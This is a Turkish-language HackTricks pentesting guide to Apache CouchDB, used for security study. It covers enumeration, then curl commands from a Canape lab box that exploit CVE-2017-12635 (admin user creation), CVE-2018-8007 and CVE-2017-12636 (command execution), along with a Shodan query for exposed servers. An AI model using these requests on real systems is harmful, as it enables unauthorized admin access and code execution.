5984,6984 - Pentesting CouchDB

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

CouchDB, her bir belge içinde bir anahtar-değer haritası yapısı kullanarak verileri düzenleyen çok yönlü ve güçlü bir belge odaklı veritabanıdır. Belge içindeki alanlar anahtar/değer çiftleri, listeler veya haritalar olarak temsil edilebilir, bu da veri depolama ve alımında esneklik sağlar.

CouchDB'de depolanan her belge, belge düzeyinde benzersiz bir tanımlayıcı (_id) atanır. Ayrıca, veritabanına yapılan her değişiklik kaydedildiğinde bir revizyon numarası (_rev) atanır. Bu revizyon numarası, değişikliklerin etkin bir şekilde izlenmesine ve yönetilmesine olanak tanır, veritabanı içindeki verilerin kolay alımını ve senkronizasyonunu sağlar.

Varsayılan port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Otomatik Numaralandırma

Automatic enumeration is the process of gathering information about a target system or network without manual intervention. It involves using tools and scripts to automatically scan and enumerate various aspects of the target, such as open ports, running services, and available databases.

Otomatik numaralandırma, manuel müdahale olmadan hedef sistem veya ağ hakkında bilgi toplama sürecidir. Bu, açık portlar, çalışan servisler ve mevcut veritabanları gibi hedefin çeşitli yönlerini otomatik olarak taramak ve numaralandırmak için araçlar ve komut dosyaları kullanmayı içerir.

CouchDB Enumeration

CouchDB is a NoSQL database that stores data in JSON format. During a penetration test, it is important to enumerate CouchDB instances to identify potential vulnerabilities and misconfigurations.

CouchDB, verileri JSON formatında depolayan bir NoSQL veritabanıdır. Bir penetrasyon testi sırasında, potansiyel zayıflıkları ve yanlış yapılandırmaları belirlemek için CouchDB örneklerini numaralandırmak önemlidir.

1. Nmap CouchDB Script

Nmap is a powerful network scanning tool that can be used to enumerate CouchDB instances. The couchdb NSE script can be used to identify CouchDB instances and gather information about them.

Nmap, CouchDB örneklerini numaralandırmak için kullanılabilecek güçlü bir ağ tarama aracıdır. couchdb NSE komut dosyası, CouchDB örneklerini tanımlamak ve hakkında bilgi toplamak için kullanılabilir.

nmap -p 5984 --script couchdb <target>

2. Manual Enumeration

In addition to using automated tools, manual enumeration techniques can also be used to gather information about CouchDB instances. Some techniques include:

  • Web Interface: Accessing the CouchDB web interface and exploring the available databases and documents.

  • HTTP Requests: Sending HTTP requests to the CouchDB API to retrieve information about the databases, documents, and server configuration.

  • Authentication: Attempting to authenticate to the CouchDB instance using default or weak credentials.

3. Exploitation

Once vulnerabilities or misconfigurations are identified during the enumeration phase, they can be further exploited to gain unauthorized access or perform other malicious activities. Some common exploitation techniques for CouchDB include:

  • Remote Code Execution: Exploiting vulnerabilities in CouchDB to execute arbitrary code on the server.

  • Privilege Escalation: Leveraging misconfigurations or vulnerabilities to escalate privileges and gain administrative access to the CouchDB instance.

  • Data Exfiltration: Extracting sensitive data from the CouchDB instance, such as user credentials or confidential documents.

It is important to note that exploitation should only be performed with proper authorization and in a controlled environment. Unauthorized exploitation of systems or networks is illegal and unethical.

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

CouchDB, bir NoSQL veritabanıdır. Bir HTTP sunucusu olarak çalışır ve istemcilerle JSON belgeleri üzerinden iletişim kurar. CouchDB'nin banner'ı, sunucunun sürüm numarasını ve diğer bilgileri içerir. Banner bilgileri, hedef sistem hakkında önemli ipuçları sağlayabilir.

Banner bilgisini elde etmek için aşağıdaki komutu kullanabilirsiniz:

curl -X GET http://<hedef_IP>:<hedef_port>/

Bu komutu çalıştırdığınızda, CouchDB sunucusunun banner bilgilerini alacaksınız. Bu bilgiler, hedef sistem hakkında daha fazla bilgi edinmenize yardımcı olabilir.

curl http://IP:5984/

Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdaki gibi görünmelidir:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Couchdb'nin köküne erişmeye çalıştığınızda, 401 Unauthorized hatası alırsınız ve şöyle bir mesaj görürsünüz: {"error":"unauthorized","reason":"Authentication required."} Bu durumda banner veya diğer herhangi bir uç noktaya erişemezsiniz.

Bilgi Sorgulama

Aşağıdaki uç noktalara GET isteği ile erişebilir ve ilginç bilgiler çıkarabilirsiniz. Couchdb belgelerinde daha fazla uç nokta ve daha detaylı açıklamaları bulabilirsiniz.

  • /_active_tasks Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.

  • /_all_dbs CouchDB örneğindeki tüm veritabanlarının bir listesini döndürür.

  • /_cluster_setup Düğümün veya kümenin durumunu, küme kurulum sihirbazına göre döndürür.

  • /_db_updates CouchDB örneğindeki tüm veritabanı etkinliklerinin bir listesini döndürür. Bu uç noktayı kullanmak için _global_changes veritabanının var olması gerekmektedir.

  • /_membership Kümenin bir parçası olan düğümleri cluster_nodes olarak görüntüler. all_nodes alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanları da içeren şekilde görüntüler.

  • /_scheduler/jobs Çoğaltma işlerinin listesi. Her iş açıklaması kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olay geçmişini ve diğer birkaç şeyi içerir.

  • /_scheduler/docs Çoğaltma belge durumlarının listesi. Tamamlanan ve başarısız durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliği, veritabanı, çoğaltma kimliği, kaynak ve hedef ile diğer bilgileri döndürür.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} /_node/{node-name} uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu bilgiyi almak için /_node/_local'e erişirken en faydalıdır.

  • /_node/{node-name}/_stats _stats kaynağı, çalışan sunucunun istatistiklerini içeren bir JSON nesnesi döndürür. Metin dizesi _local, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistikler URL'leri için {node-name} yerine _local kullanılabilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için.

  • /_node/{node-name}/_system _system kaynağı, çalışan sunucunun çeşitli sistem düzeyi istatistiklerini içeren bir JSON nesnesi döndürür_._ Geçerli düğem bilgisini almak için {node-name} olarak ___local kullanabilirsiniz.

  • /_node/{node-name}/_restart

  • /_up Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. maintenance_mode true veya nolb ise, uç nokta 404 yanıtı döndürür.

  • /_uuids CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Kimlik (UUID) isteği yapar.

  • /_reshard Kümedeki tamamlanan, başarısız, çalışan, durdurulan ve toplam iş sayısını ve yeniden paylaşım durumunu döndürür.

Daha fazla ilginç bilgi burada açıklandığı gibi çıkarılabilir: https://lzone.de/cheat-sheet/CouchDB

Veritabanı Listesi

curl -X GET http://IP:5984/_all_dbs

Eğer bu istek 401 yetkisiz şeklinde yanıt verirse, veritabanına erişmek için geçerli kimlik bilgilerine ihtiyacınız vardır:

curl -X GET http://user:password@IP:5984/_all_dbs

Geçerli Kimlik Bilgilerini bulmak için hizmeti brute force ile deneyebilirsiniz.

Bu, yeterli ayrıcalıklara sahip olduğunuzda bir couchdb yanıtının bir örneğidir (Sadece bir veritabanı listesidir):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Veritabanı Bilgisi

Veritabanı adına erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Belge Listesi

Bir veritabanındaki her girişi listele

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Belgeyi Oku

Bir veritabanındaki belgenin içeriğini okuyun:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Yetki Yükseltme CVE-2017-12635

Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklardan dolayı aşağıdaki istekle hacktricks:hacktricks kimlik bilgilerine sahip bir yönetici kullanıcı oluşturabilirsiniz:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Bu zafiyet hakkında daha fazla bilgi burada.

CouchDB Uzaktan Kod Çalıştırma (RCE)

Erlang Çerez Güvenliği Genel Bakışı

Örnek buradan.

CouchDB belgelerinde, özellikle küme kurulumuyla ilgili bölümde (link), CouchDB'nin küme modunda kullanılan bağlantı noktaları tartışılmaktadır. Standalone modunda olduğu gibi, port 5984 kullanıldığı belirtilmektedir. Ek olarak, port 5986 düğme yerel API'ları içindir ve önemli olarak, Erlang, Erlang kümesi içinde düğme iletişimini kolaylaştıran Erlang Port Haritalayıcı Hizmeti (EPMD) için TCP port 4369 gerektirir. Bu yapı, her düğümün diğer her düğümle bağlantılı olduğu bir ağ oluşturur.

Port 4369 ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet üzerinden veya güvenilmeyen bir ağ üzerinden erişilebilir hale getirilirse, sistem güvenliği benzersiz bir tanımlayıcı olan "çerez"e ağır şekilde bağımlı hale gelir. Bu çerez bir güvenlik önlemi olarak işlev görür. Örneğin, bir işlem listesinde "monster" adında bir çerez gözlemlenebilir ve bu çerez, sistem güvenlik çerçevesindeki işlevsel rolünü gösterir.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Yürütme (RCE) için nasıl istismar edilebileceğini anlamak isteyenler için, ilgili bir bölüm daha fazla okuma için mevcuttur. Bu bölümde, Erlang çerezlerini yetkisiz şekilde kullanarak sistemler üzerinde kontrol elde etmek için metodolojiler ayrıntılı olarak açıklanmaktadır. Erlang çerezlerini RCE için kötüye kullanma konusundaki ayrıntılı kılavuzu buradan keşfedebilirsiniz.

CVE-2018-8007'nin local.ini Dosyasının Değiştirilmesiyle Sömürülmesi

Örnek buradan.

Apache CouchDB'yi etkileyen, yakın zamanda açıklanan CVE-2018-8007 adlı bir zafiyet incelendi ve sömürünün local.ini dosyasına yazma izinleri gerektirdiği ortaya çıktı. İlk hedef sistem için doğrudan uygulanamamasına rağmen, keşif amaçlarıyla local.ini dosyasına yazma erişimi sağlamak için değişiklikler yapıldı. Aşağıda, süreci gösteren ayrıntılı adımlar ve kod örnekleri sunulmaktadır.

İlk olarak, çevre, local.ini dosyasının yazılabilir olduğundan emin olunarak hazırlanır ve izinler listelenerek doğrulanır:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Zafiyeti sömürmek için, local.ini içindeki cors/origins yapılandırmasına hedeflenen bir curl komutu çalıştırılır. Bu, [os_daemons] bölümü altında yeni bir köken enjekte eder ve keyfi kodu çalıştırmayı amaçlar:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Sonraki doğrulama, değişiklikleri vurgulamak için local.ini içine enjekte edilen yapılandırmayı yedekle karşılaştırır:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Başlangıçta, beklenen dosya (/tmp/0xdf) mevcut değil, bu da enjekte edilen komutun henüz çalıştırılmadığını göstermektedir. Daha fazla araştırma, CouchDB ile ilgili işlemlerin çalıştığını ortaya koyar, bunlardan biri enjekte edilen komutu potansiyel olarak çalıştırabilir:

root@canape:/home/homer/bin# ps aux | grep couch

Belirlenen CouchDB işlemini sonlandırarak ve sistemin otomatik olarak yeniden başlatılmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir ve önceden eksik olan dosyanın varlığıyla doğrulanır:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Bu keşif, özellikle local.ini dosyasına yazma erişimi gerekliliği gibi belirli koşullar altında CVE-2018-8007 saldırısının gerçekleştirilebilirliğini doğrulamaktadır. Sağlanan kod örnekleri ve prosedür adımları, kontrol edilen bir ortamda saldırının tekrarlanması için net bir rehber sunmaktadır.

CVE-2018-8007 hakkında daha fazla ayrıntı için mdsec tarafından yayınlanan bildiriye başvurun: CVE-2018-8007.

local.ini Üzerinde Yazma İzinleriyle CVE-2017-12636 Keşfi

Örnek buradan alınmıştır.

CVE-2017-12636 olarak bilinen bir zafiyet incelendi, bu zafiyet aracılığıyla CouchDB işlemi üzerinden kod yürütme sağlanmaktadır, ancak belirli yapılandırmaların saldırıyı engelleyebileceği durumlar mevcuttur. İnternette birçok Kanıt-of-Kavram (POC) referansı bulunmasına rağmen, genellikle hedeflenen 1.x sürümünden farklı olarak, zafiyetin CouchDB sürüm 2'de sömürülmesi için ayarlamalar gerekmektedir. İlk adımlar, CouchDB sürümünün doğrulanması ve beklenen sorgu sunucuları yolunun olmadığının onaylanmasıyla ilgilidir:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılır:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Yeni bir sorgu sunucusu eklemek ve çağırmak için yapılan girişimler, aşağıdaki çıktıda belirtilen izinle ilgili hatalarla karşılaştı:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Daha fazla araştırma, yazılabilir olmayan local.ini dosyasında izin sorunları olduğunu ortaya çıkardı. Kök veya homer erişimiyle dosya izinlerini değiştirerek ilerlemek mümkün hale geldi:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Sonraki denemelerde sorgu sunucusunu eklemek başarılı oldu, bunu yanıtta hata mesajı olmamasıyla kanıtlandı. local.ini dosyasının başarılı bir şekilde değiştirildiği, dosya karşılaştırmasıyla doğrulandı:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna eşleme yapan özel bir görünüm aracılığıyla kodun yürütülme girişimi yapıldı:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Belirli koşullar altında CVE-2017-12636'nın istismar edilmesi hakkında daha fazla bilgi sağlayan bir özet, alternatif bir yük sağlar. Bu zafiyetin istismar edilmesi için yararlı kaynaklar şunları içerir:

Shodan

  • port:5984 couchdb

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated